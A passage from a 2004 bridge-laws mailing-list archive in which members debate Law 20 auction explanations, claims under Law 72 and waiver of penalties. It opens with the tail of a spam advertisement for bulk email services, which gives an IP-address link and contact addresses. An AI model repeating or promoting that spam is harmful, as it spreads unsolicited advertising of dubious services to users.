from our own server * Don't be fooled in signing up with similar sites offering services that cannot compare to ours * Get the most bang for your buck with bulk email advantage! -------------------------------------------------------------------------------------------------------- Details and order Click Here to web site: http://202.98.223.74/soft/html/wd/wd3.htm There are some sample download. If you can't see website ,please email us contact: yhzx599@vip.sina.com Thank you! the silver star internet information company copyright¡¤2004-2005 all reserved ------------------------------------------------------------ remove please email: emailad1234@sina.com ------------------------------------------------------------ From Anne Jones" Message-ID: <000701c40932$3606da10$f0536e51@annespc> I usually say - "What has he got?" The answers are many and varied - and sometimes I get a good description of the cards too :-) ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Saturday, March 13, 2004 9:26 AM Subject: RE: [blml] Standard > For years I have encouraged (and myself used) the question: > > "What are we entitled to know from your auction"? > > This (if any) question calls for a complete disclosure and is indisputably > within the laws. > > Regards Sven > > > -----Original Message----- > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Ed > > Reppert > > Sent: 13. mars 2004 06:09 > > To: blml > > Subject: Re: [blml] Standard > > > > > > On Friday, Mar 12, 2004, at 19:50 US/Eastern, Nigel Guthrie wrote: > > > > > I was *agreeing* with you, Ed :) and I did quote the relevant > > > bit of Law 20, word for word, in the previous email :) > > > > Ah. Okay. :-) > > > > > I'm afraid that I also agree completely with what you say in > > > this email. I even concede that your suggestion takes > > > *less time* than explaining bid by bid. > > > > > > In a previous thread, I gave an example to re-enforce your > > > argument. (The puppet Stayman auction 2N-3C-; 3D-3H-; 3N > > > where inferences aren't obvious to everybody, from a bid > > > by bid explanation). > > > > Perhaps we should consider educating players to this way of thinking > > about explanations. :-) > > > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ehaa@starpower.net Sun Mar 14 21:42:00 2004 From: ehaa@starpower.net (Eric Landau) Date: Sun, 14 Mar 2004 16:42:00 -0500 Subject: [blml] Standard In-Reply-To: <548A8ADA-7476-11D8-A4DE-0030656F6826@rochester.rr.com> References: <00c601c4087e$ceb841e0$3a9868d5@tinyhrieuyik> Message-ID: <5.2.0.9.0.20040314162903.029e4710@pop.starpower.net> At 05:40 PM 3/12/04, Ed wrote: >That's not what law 20 says. You know, I was thinking about this the >other day, and it occurred to me that when there is an uncomplicated >auction, most players are (or should be) capable of forming a >reasonably accurate mind picture of opponents' hands. Which is, after >all, what most players need in playing the hand. It's when the auction >gets complex, with inferences and implications specific to the >partnership, that such visualization becomes difficult. The principle >of full disclosure then says one should make all such specifics known >to the opponents, thus reducing (or eliminating?) the difficulty. So >it seems to me that when I ask "please explain your auction" I don't >really want to hear "this call means X, that one means Y", what I want >to hear is, "on this auction, partner has X and Y and Z, but not R and >S." From both opponents. Is this unreasonable? If so, why? Not only not unreasonable, but not uncommon at high levels, where one is likely to run into complex artificial systems. There isn't enough time to listen to and absorb, for example, the bid-by-bid complexities of a Meckstroth-Rodwell relay auction, but a simple "OK, tell us" at the end of the auction gets exactly the sort of reply Ed wants. (Meckstroth and Rodwell in particular, I've noticed, will usually offer to give it even if you don't ask.) Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Sun Mar 14 21:51:24 2004 From: ehaa@starpower.net (Eric Landau) Date: Sun, 14 Mar 2004 16:51:24 -0500 Subject: [blml] Standard In-Reply-To: <018401c40898$629ca220$3a9868d5@tinyhrieuyik> Message-ID: <5.2.0.9.0.20040314164224.029d9a60@pop.starpower.net> At 08:13 PM 3/12/04, Nigel wrote: > > [Ed Reppert] > > That's not what law 20 says... > > ...So it seems to me that when I ask "please explain your > > auction" I don't really want to hear "this call means X, > > that one means Y", what I want to hear is, "on this auction, > > partner has X and Y and Z, but not R and S." From both > > opponents. Is this unreasonable? If so, why? > >[Nigel - further clarification ] >Law 20 does seem to favour a bid by bid explanation but I >agree that Ed's latter concept at defining full disclosure >is a distinct improvement and the law book needs amendment. Absurd! Ed argues that his suggested procedure is not unreasonable. It isn't unreasonable at all; it can be quite useful sometimes, as can others. It advances full disclosure, but in no way defines it. Ed is right that it should be made acceptable, but there's no case (nor, I believe, is Ed trying to make one) for making it mandatory. Not every good idea means that the law book needs amendment. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From HarrisR@missouri.edu Sun Mar 14 22:15:39 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Sun, 14 Mar 2004 16:15:39 -0600 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: References: Message-ID: Ed Reppert wrote: >On Friday, Mar 12, 2004, at 17:41 US/Eastern, richard.hills@immi.gov.au wrote: > >>Suppose that a player inadvertently claims >>too many tricks, and that the opponents accept >>the claim. Suppose that the player later >>realises (before the correction period has >>expired) their own claim was an inadvertent >>infraction. >> >>Law 72A2 states that, "A player must not >>knowingly accept either the score for a trick >>that his side did not win or the concession of >>a trick that his opponents could not lose." >> >>Law 72B3 states that, "There is no obligation >>to draw attention to an inadvertent infraction >>of law committed by one's own side (but see >>footnote to Law 75 for a mistaken explanation)." >> >>Which of these two Proprieties has primacy? > >The question rests on the assumption that to claim more tricks than >those to which one is entitled is an infraction. But which law is >violated thereby? Oh, it is certainly true that Law 72A2 is violated >if the claim is made knowing that one is not entitled to those >tricks, but it is not violated if it is done inadvertantly. So which >law, in that case? The violation comes if the player realizes (within the correction period) that too many tricks have been claimed. Not correcting the score at that point is a violation of 72A2, and it is not an inadvertent violation of that law at that time. The inadvertent violation was of the laws regarding scoring, and that was done at the time of the claim. Inadvertent means "not turning the mind to a matter: INATTENTION" or "UNINTENTIONAL" says Webster's New Collegiate Dictionary, (1973). Declairer leads a spade from dummy, I pull out a club from among my spades and play it. The failure to follow suit is inadvertent. Case 1. I don't notice I have failed to follow suit. Several tricks later, I notice that I have too many spades and not too few clubs. 72B3 says I do not have to call attention to the fact that somewhere along the line I've failed to follow suit when I could have done so. Case 2. I notice that I have a club on the table when I should have played a spade. I could still correct this unestablished revoke. Failing to correct the unestablished revoke is an intentional violation of the laws, not excused by 72B3. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From svenpran@online.no Sun Mar 14 22:37:53 2004 From: svenpran@online.no (Sven Pran) Date: Sun, 14 Mar 2004 23:37:53 +0100 Subject: [blml] Standard In-Reply-To: <5.2.0.9.0.20040314164224.029d9a60@pop.starpower.net> Message-ID: <000001c40a14$ff66d710$6900a8c0@WINXP> Eric Landau > At 08:13 PM 3/12/04, Nigel wrote: > > > > [Ed Reppert] > > > That's not what law 20 says... > > > ...So it seems to me that when I ask "please explain your > > > auction" I don't really want to hear "this call means X, > > > that one means Y", what I want to hear is, "on this auction, > > > partner has X and Y and Z, but not R and S." From both > > > opponents. Is this unreasonable? If so, why? > > > >[Nigel - further clarification ] > >Law 20 does seem to favour a bid by bid explanation but I > >agree that Ed's latter concept at defining full disclosure > >is a distinct improvement and the law book needs amendment. > > Absurd! Ed argues that his suggested procedure is not > unreasonable. It isn't unreasonable at all; it can be quite useful > sometimes, as can others. It advances full disclosure, but in no way > defines it. Ed is right that it should be made acceptable, but there's > no case (nor, I believe, is Ed trying to make one) for making it > mandatory. Not every good idea means that the law book needs amendment. It is quite reasonable and ought to be more common at all levels to simply ask something like: "What are we entitled to know from your auction?" An answer could for instance be: "Partner has shown 5 spades, 4 hearts, 3 diamonds and a single club, 18-19 HCP. I have shown nothing, all my calls were relays". And it is far much easier for me to get the picture from an explanation like that than if I had each individual call explained separately. If a pair on a question like mine fails to mention that the player who opened 1H has shown 5 hearts (when that is their agreement) his disclosure is incomplete. Usually I am not interested in learning that it was the opening bid which promised 5 cards, but I am very interested to know the fact that a 5 card suit has been shown during the auction. And there is no need to change the laws for this. On the contrary the present laws discourage interest in specific calls and dictate that explanations shall be asked and given for the auction as a whole. Regards Sven From nigel.guthrie@ntlworld.com Mon Mar 15 00:42:22 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 15 Mar 2004 00:42:22 -0000 Subject: [blml] Standard References: <5.2.0.9.0.20040314164224.029d9a60@pop.starpower.net> Message-ID: <023f01c40a26$6421fac0$c69868d5@tinyhrieuyik> > [Eric Landau] > Absurd! Ed argues that his suggested procedure is not > unreasonable. It isn't unreasonable at all; it can be quite > useful sometimes, as can others. It advances full disclosure, > but in no way defines it. Ed is right that it should be made > acceptable, but there's no case (nor, I believe, is Ed trying > to make one) for making it mandatory. Not every good idea > means that the law book needs amendment. [Nigel] An impassioned outburst, Eric! You seem to interpret L20 (below) differently. I understand L20 to say that opponents should answer questions, call by call, about partner's calls. Unfortunately, I see no legal obligation on opponents to answer Ed in the form that he wants. In case you're under a misapprehension, I did agree with Ed's suggestion. I adopted it, myself. IMO, Ed's suggestion should not be confined to TDs and BLMLers. Rather, TFLB should be changed to advise players how better to ask and answer questions. If you think that is absurd, then we agree to differ. >> {Ed Reppert's preferred form of answer...] >> I don't really want to hear "this call means X, that >> one means Y", what I want to hear is, "on this auction, >> partner has X and Y and Z, but not R and S." [TFLB L20] During the auction and before the final pass, any player, at his own turn to call, may request a full explanation of the opponents' auction (questions may be asked about calls actually made or about relevant calls available but not made); replies should normally be given by the partner of a player who made a call in question (see Law 75C). --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.620 / Virus Database: 399 - Release Date: 12/03/2004 From richard.hills@immi.gov.au Mon Mar 15 02:19:59 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 15 Mar 2004 12:19:59 +1000 Subject: [blml] Explain Message-ID: >In Belgium all 92 national teams, and most of the >top 48 flemish ones, play with screens. > >Herman DE WAEL In Australia, only the top 16 national teams use screens. Screens may solve or prevent Lawful conundrums. But the numbers of bridge players who use screens are a miniscule fraction of Australia's overall bridge numbers. Therefore, it is futile to argue that a Pacific Solution for the 1997 Laws flaws is to make screens compulsory in the 2006 Laws. In Australia, that solution is not culturally acceptable. The paradox of preventing MI, but also minimising UI, will have to be addressed in another way in the 2006 edition of the Laws. I am of the school that believes that full disclosure is mandatory, with any consquential UI being a necessary evil. Therefore, I: (a) support Ton's torque on Law 73F2, (b) do not support Grattan's torque on Law 73F2, (c) totally reject the De Wael School, which seems to have a torque that UI is more evil than MI (although I may be doing Herman an injustice, since Herman is known to believe in an idiosyncratic definition of MI.) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Mar 15 02:28:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 15 Mar 2004 12:28:13 +1000 Subject: [blml] Standard Message-ID: DQoNCg0KDQpFZCBSZXBwZXJ0IGFza2VkOg0KDQpbc25pcF0NCg0KPnRoZSBxdWVzdGlvbiBpbiBt eSBtaW5kIGF0IHRoZSBtb21lbnQgaXMgIndoeSBpc24ndA0KPkxhdyAyMCBwYXJ0IG9mIHRoaXMg ZGlzY3Vzc2lvbj8iDQoNClJpY2hhcmQgSmFtZXMgSGlsbHMgcmVwbGllZDoNCg0KVGhlIHJlYXNv biB0aGF0IExhdyAyMCBpcyBub3QgcGFydCBvZiB0aGlzIGRpc2N1c3Npb24NCmlzIGJlY2F1c2Ug dGhlIFdCRiBMQyBoYXMgKGluIGVmZmVjdCkgcmVkZWZpbmVkIExhdw0KMjAgYXMgYSBkZWFkLWxl dHRlciBMYXcuDQoNCiJUaGUgTGF3IHNheXMgdGhhdCBwbGF5ZXJzIHNob3VsZCBhc2sgZm9yIGEg ZnVsbA0KZXhwbGFuYXRpb24gb2YgdGhlIG9wcG9uZW50c+KAmSBhdWN0aW9uIGR1cmluZyB0aGUN CmF1Y3Rpb24gb3Igd2hlbiBkZWZlbmRpbmcuICBJbiBwcmFjdGljZSBwbGF5ZXJzIGFzaw0KYWJv dXQgaW5kaXZpZHVhbCBjYWxscyBhbmQgdGhpcyBpcyBjb25zaWRlcmVkIGEgdmVyeQ0KbWlub3Ig aW5mcmFjdGlvbiwgdGhvdWdoIGl0IG1heSBjcmVhdGUgdW5hdXRob3Jpc2VkDQppbmZvcm1hdGlv biBmb3IgcGFydG5lci4iDQpbV0JGTEMgbWludXRlcyAxOTk4LTA4LTMwIzNdDQoNCkJlc3Qgd2lz aGVzDQoNClJKSA0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAgSW1wb3J0YW50IFdh cm5pbmc6IElmIHlvdSBoYXZlIHJlY2VpdmVkIHRoaXMgZW1haWwgaW4gZXJyb3IsIHBsZWFzZQ0K YWR2aXNlIHRoZSBzZW5kZXIgYW5kIGRlbGV0ZSB0aGUgbWVzc2FnZSBhbmQgYXR0YWNobWVudHMg aW1tZWRpYXRlbHkuIMKgVGhpcw0KZW1haWwsIGluY2x1ZGluZyBhdHRhY2htZW50cywgbWF5IGNv bnRhaW4gY29uZmlkZW50aWFsLCBsZWdhbGx5IHByaXZpbGVnZWQNCmFuZC9vciBjb3B5cmlnaHQg aW5mb3JtYXRpb24sIHRoZSB1bmF1dGhvcmlzZWQgdXNlIG9mIHdoaWNoIGlzIHByb2hpYml0ZWQu DQpBbnkgdmlld3MgZXhwcmVzc2VkIGluIHRoaXMgZW1haWwgYXJlIHRob3NlIG9mIHRoZSBpbmRp dmlkdWFsIHNlbmRlciwNCmV4Y2VwdCB3aGVyZSB0aGUgc2VuZGVyIGV4cHJlc3NseSwgYW5kIHdp dGggYXV0aG9yaXR5LCBzdGF0ZXMgdGhlbSB0byBiZQ0KdGhlIHZpZXcgb2YgdGhlIERlcGFydG1l bnQgb2YgSW1taWdyYXRpb24gYW5kIE11bHRpY3VsdHVyYWwgYW5kIEluZGlnZW5vdXMNCkFmZmFp cnMgKERJTUlBKS4gwqBESU1JQSByZXNwZWN0cyB5b3VyIHByaXZhY3kgYW5kIGhhcyBvYmxpZ2F0 aW9ucyB1bmRlciB0aGUNClByaXZhY3kgQWN0IDE5ODggKHNlZSB3d3cuaW1taS5nb3YuYXUpLg0K LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0= From blml@blakjak.com Mon Mar 15 01:56:04 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 01:56:04 +0000 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: References: Message-ID: Ed Reppert wrote > >On Friday, Mar 12, 2004, at 05:42 US/Eastern, Tim West-Meads wrote: > >> L81c. Waiver of Penalties >> to waive penalties for cause, at his discretion, upon the request of >>the >> non-offending side. >> >> The problem, from my PoV is that the law contains the words "for >>cause" as >> well as "upon the request" - imply that *both* a cause and a request >>are >> necessary. I would prefer the words "for cause" to be deleted. > >The inference I draw here is that there are penalties "for cause" and >penalties "not for cause". What penalties fall into the latter category? The generally accepted interpretation is that it is the waiving that is for cause. If a player dropped a couple of cards on the table face up a player might ask the TD that there should be no penalty if [a] the player was very old and infirm, or [b] a waiter had jogged his elbow, or [c] the player was a young attractive female that he was trying to entice into something or other after the game. The TD would accept the causes in [a] and [b] and apply no penalty, but not accept the cause in [c], so he would apply the penalty. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 15 01:59:38 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 01:59:38 +0000 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: References: Message-ID: <+BlwcSKK4QVAFwUM@blakjak.demon.co.uk> RJH wrote >W.S. Gilbert (The Pirates of Penzance) wrote: > >>We've quips and quibbles heard in flocks, >> But none to beat this paradox! >> A paradox, a paradox, >> A most ingenious paradox! > >Richard James Hills paradoxes: > >Suppose that a player inadvertently claims >too many tricks, and that the opponents accept >the claim. Suppose that the player later >realises (before the correction period has >expired) their own claim was an inadvertent >infraction. > >Law 72A2 states that, "A player must not >knowingly accept either the score for a trick >that his side did not win or the concession of >a trick that his opponents could not lose." > >Law 72B3 states that, "There is no obligation >to draw attention to an inadvertent infraction >of law committed by one's own side (but see >footnote to Law 75 for a mistaken explanation)." > >Which of these two Proprieties has primacy? L72A2 is clear and unambiguous. If a player must not do something that is the end of the matter. There is only a paradox here for people who like to decide how many angels can dance on the head of a pin. For the rest of us, surely, L72B3 is applied with commonsense, ie does not apply where another Law says it does not apply. Perhaps Law 1 in the new Law book should say "Where everyone knows what we mean then we mean that even if sea lawyers can prove the wording says otherwise." -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 15 02:01:47 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 02:01:47 +0000 Subject: [blml] Standard In-Reply-To: <7BE165DF-745D-11D8-A936-0030656F6826@rochester.rr.com> References: <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> <7BE165DF-745D-11D8-A936-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Friday, Mar 12, 2004, at 05:36 US/Eastern, Nigel Guthrie wrote: > >> In practice, however, you must ask when you are considering >> a bid and the meaning of an opponent's bid will affect your >> decision whether to bid. > >It seems to me, though I grant I may be wrong, that the procedure >defined in law 20, while perhaps cumbersome, is at least designed to >mask interest in a specific call. I suppose we could argue whether this >mitigates UI sufficiently (or at all) but the question in my mind at >the moment is "why isn't Law 20 part of this discussion?" Time. If we accept your interpretation of L20 - as you know, I don't - then following the Laws means that bridge games never finish. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 15 02:08:39 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 02:08:39 +0000 Subject: [blml] Standard In-Reply-To: References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> Message-ID: Gordon Bower wrote >On Fri, 12 Mar 2004, Hinden, Frances SI-PXS wrote: > >> [Frances] >> People criticising the EBU seem to have missed the point. >> It's not a regulation, it's a piece of advice. The advice is that if >> you ask during the auction, you may be giving partner UI. Does anyone >> say that isn't true? It aims to stop people asking pointed questions >> and then getting cross when they are ruled against. This seems a very >> sound ambition to me. > >The ambition is sound. Yes, asking during the auction may give partner UI. > >The problem is that the EBU advice does exactly the opposite of its aim. >By advising you only to ask when you have an immediate need for the >information, *they have turned all questions during the auction into >pointed questions*. > >There are normally any number of reasons someone might ask a question, and >very little chance that a question will demonstrably suggest anything. By >advising people to ask questions for one reason only, you assure that a >much larger proportion of questions will demonstrably suggest something. It is intriguing how many people who are not in England assume that a regulation which has been a howling success at reducing a serious problem to minute proportions is completely wrong. The aim of the EBU regulation was to stop the continuous club leads to alerted Stayman bids, diamond and heart leads to transfer bids, the French defence to 1NT openings, two-level takeout doubles [less values if done after a question] and so on and so on. I know that players could be continually calling the TD for UI rulings in clubs - club TDs would love that - but the solution of getting the problem to go away in most cases seems laudable. Why do you consider it a failure? Maybe in North America fifteen years ago players asked what a 2C response to 1NT was always or never. In which case you did not need our reg: but we did. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 15 02:09:44 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 02:09:44 +0000 Subject: [blml] Standard In-Reply-To: <548A8ADA-7476-11D8-A4DE-0030656F6826@rochester.rr.com> References: <00c601c4087e$ceb841e0$3a9868d5@tinyhrieuyik> <548A8ADA-7476-11D8-A4DE-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Friday, Mar 12, 2004, at 17:10 US/Eastern, Nigel Guthrie wrote: > >> IMO, Ed's comments on Law 20 are right. Opponents should >> explain either... >> ... None of their bids or >> ... All the "alertable" bids in their auction. > >That's not what law 20 says. You know, I was thinking about this the >other day, and it occurred to me that when there is an uncomplicated >auction, most players are (or should be) capable of forming a >reasonably accurate mind picture of opponents' hands. Which is, after >all, what most players need in playing the hand. It's when the auction >gets complex, with inferences and implications specific to the >partnership, that such visualization becomes difficult. The principle >of full disclosure then says one should make all such specifics known >to the opponents, thus reducing (or eliminating?) the difficulty. So it >seems to me that when I ask "please explain your auction" I don't >really want to hear "this call means X, that one means Y", what I want >to hear is, "on this auction, partner has X and Y and Z, but not R and >S." From both opponents. Is this unreasonable? If so, why? You clearly have not tried asking bridge players for explanations. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nigel.guthrie@ntlworld.com Mon Mar 15 02:20:49 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 15 Mar 2004 02:20:49 -0000 Subject: [blml] Standard References: <000001c40a14$ff66d710$6900a8c0@WINXP> Message-ID: <026f01c40a34$22cc2d80$c69868d5@tinyhrieuyik> > [Sven Pran] > An answer could for instance be: "Partner has shown 5 > spades, 4 hearts, 3 diamonds and a single club, 18-19 > HCP. I have shown nothing, all my calls were relays". > And it is far much easier for me to get the picture > from an explanation like that than if I had each individual > call explained separately. > And there is no need to change the laws for this. On the > contrary the present laws discourage interest in specific > calls and dictate that explanations shall be asked and > given for the auction as a whole. [Nigel] I agree with Sven and Eric that the law *should* specify that you may explain in the way that Ed recommends. Unfortunately, Law 20 clearly states... "Questions may be asked about calls actually made or about relevant calls available but not made; replies should normally be given by the partner of a player who made a call in question" The reply-format is clear: "a call" not "the calls". Thus, TFLB seems to prefers a call by all explanation. It does not explicitly forbid our preferred format but it certainly does not sanction it, even as an alternative. Presumably, the notorious Equity Muse will inspire sophisticated additions to WBFLC for TFLB (2006)? If so, surely, nobody can grudge a few clarifications as a sop to ordinary players? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.620 / Virus Database: 399 - Release Date: 12/03/2004 From nigel.guthrie@ntlworld.com Mon Mar 15 02:37:20 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 15 Mar 2004 02:37:20 -0000 Subject: [blml] Standard References: <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> <7BE165DF-745D-11D8-A936-0030656F6826@rochester.rr.com> Message-ID: <028301c40a36$712246c0$c69868d5@tinyhrieuyik> [Ed Reppert] why isn't Law 20 part of this discussion? [David Stevenson] Time. If we accept your interpretation of L20 - as you know, I don't - then following the Laws means that bridge games never finish. [Nigel] In response to "please explain the auction", Ed is *not* suggesting that you follow law 20 literally with a tediuus bid-by-bid explanation. Ed suggests that, instead, you divulge what partner's calls have told you about his hand (without any inferences from your own hand). For example "partner's hand is 12-14 HCP flat with four spades but not four hearts". Surely, such an explanation (if legal), *saves* time? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.620 / Virus Database: 399 - Release Date: 12/03/2004 From blml@blakjak.com Mon Mar 15 03:35:33 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 03:35:33 +0000 Subject: [blml] Standard In-Reply-To: <000001c40a14$ff66d710$6900a8c0@WINXP> References: <5.2.0.9.0.20040314164224.029d9a60@pop.starpower.net> <000001c40a14$ff66d710$6900a8c0@WINXP> Message-ID: Sven Pran wrote >It is quite reasonable and ought to be more common at all levels to simply >ask something like: "What are we entitled to know from your auction?" > >An answer could for instance be: "Partner has shown 5 spades, 4 hearts, 3 >diamonds and a single club, 18-19 HCP. I have shown nothing, all my calls >were relays". And it is far much easier for me to get the picture from an >explanation like that than if I had each individual call explained >separately. This is a complete over-simplification, and a trap that is often fallen into. The relays show something: they show that the asker thought it was reasonable ot ask at that stage. Consider 1C - 1S - 1N where 1C is Precision, 1S shows 8+, 5+Ss, 1NT asks. Now, many people suggest this shows nothing, but they are wrong: it shows that the player had a hand where asking was more suitable than bidding a natural 2C/D/H/S. I used to play such a system: I know. "All my bids are relays and show nothing" is usually MI. Now players who are good enough ot understand the inferences will probably understand this anyway. But for them to understand what choices asker made they probably need to know the meaning of various bids along the way. Take a simple sequence 1D - 1S - 1NT - 2C - 2NT - 3NT where 1C is natural, and 2C is asking, Crowhurst or NMF or something. I ask the range of the 1NT rebid, and people tell me that *now* opener has shown 15-16 with two spades. Sometimes they get annoyed when I ask "What did 1NT show at the time?". But to get a feel for what responder has for his 2C bid you may need ot know this. I do not mind players offering to shortcut the process so long as they are prepared to explain in full if opponents require it. >If a pair on a question like mine fails to mention that the player who >opened 1H has shown 5 hearts (when that is their agreement) his disclosure >is incomplete. Usually I am not interested in learning that it was the >opening bid which promised 5 cards, but I am very interested to know the >fact that a 5 card suit has been shown during the auction. > >And there is no need to change the laws for this. On the contrary the >present laws discourage interest in specific calls and dictate that >explanations shall be asked and given for the auction as a whole. This means individual calls, not the sum of them, which is against the letter and spirit of L75A. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From john@asimere.com Mon Mar 15 05:31:34 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 15 Mar 2004 05:31:34 +0000 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: References: Message-ID: In article , David Stevenson writes snip > The generally accepted interpretation is that it is the waiving that >is for cause. > > If a player dropped a couple of cards on the table face up a player >might ask the TD that there should be no penalty if > >[a] the player was very old and infirm, or >[b] a waiter had jogged his elbow, or >[c] the player was a young attractive female that he was trying to >entice into something or other after the game. > > The TD would accept the causes in [a] and [b] and apply no penalty, >but not accept the cause in [c], so he would apply the penalty. David, my house-mate Chris (whom you know well, as you both drink my whisky), thinks that the leg-over option is the only acceptable one. For a non-bridge player I think he's got his priorities right. john > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Mon Mar 15 05:42:07 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 15 Mar 2004 05:42:07 +0000 Subject: [blml] Pass out seat action? Message-ID: Just a quickie. In front of you in the pass-out seat in a competitive part score auction you have a red and then a green card. The auction gets back to you in the pass-out seat. You pick up the two bidding cards a couple of inches off the table, pause, shrug, put them down and then bid 3C for the sake of argument (which would then be followed by 3 obvious passes). The NYPD arrives and you say "I changed my mind and decided to bid 3C". Did you ever pass? (and of course if you didn't then 3C is allowable, UI notwithstanding) Would it be different at rubber, or a non SO game? I thought this one was quite difficult; not helped by the fact that one of the NOs is a retired EBU TD to whom I owe a lot. cheers John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From nigel.guthrie@ntlworld.com Mon Mar 15 08:16:53 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 15 Mar 2004 08:16:53 -0000 Subject: [blml] Standard References: <5.2.0.9.0.20040314164224.029d9a60@pop.starpower.net> <000001c40a14$ff66d710$6900a8c0@WINXP> Message-ID: <005d01c40a65$e098c720$079468d5@tinyhrieuyik> [David Stevenson] "All my bids are relays and show nothing" is usually MI. [Nigel] I agree. The partner of the relayer/asker may be understandably reluctant to disclose what he knows, because, during the auction... (1) Responder is usually on systemic tram-lines; he feels no personal *need* to infer the significance of most of the relayer's questions, because knowing would not affect his answers. (2) Inferences are usually negative, probabilistic and difficult to explain. IMO this problem is ameliorated by Ed's form of explanation (where you try to describe what the whole auction reveals about partner's "hand", rather than the meaning of each individual "bid"). --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.620 / Virus Database: 399 - Release Date: 11/03/2004 From svenpran@online.no Mon Mar 15 09:00:29 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 15 Mar 2004 10:00:29 +0100 Subject: [blml] Standard In-Reply-To: Message-ID: <000001c40a6b$f755f2c0$6900a8c0@WINXP> > David Stevenson > Sven Pran wrote > >It is quite reasonable and ought to be more common=20 > >at all levels to simply ask something like:=20 > >"What are we entitled to know from your auction?" > > > >An answer could for instance be: "Partner has shown=20 > >5 spades, 4 hearts, 3diamonds and a single club,=20 > >18-19 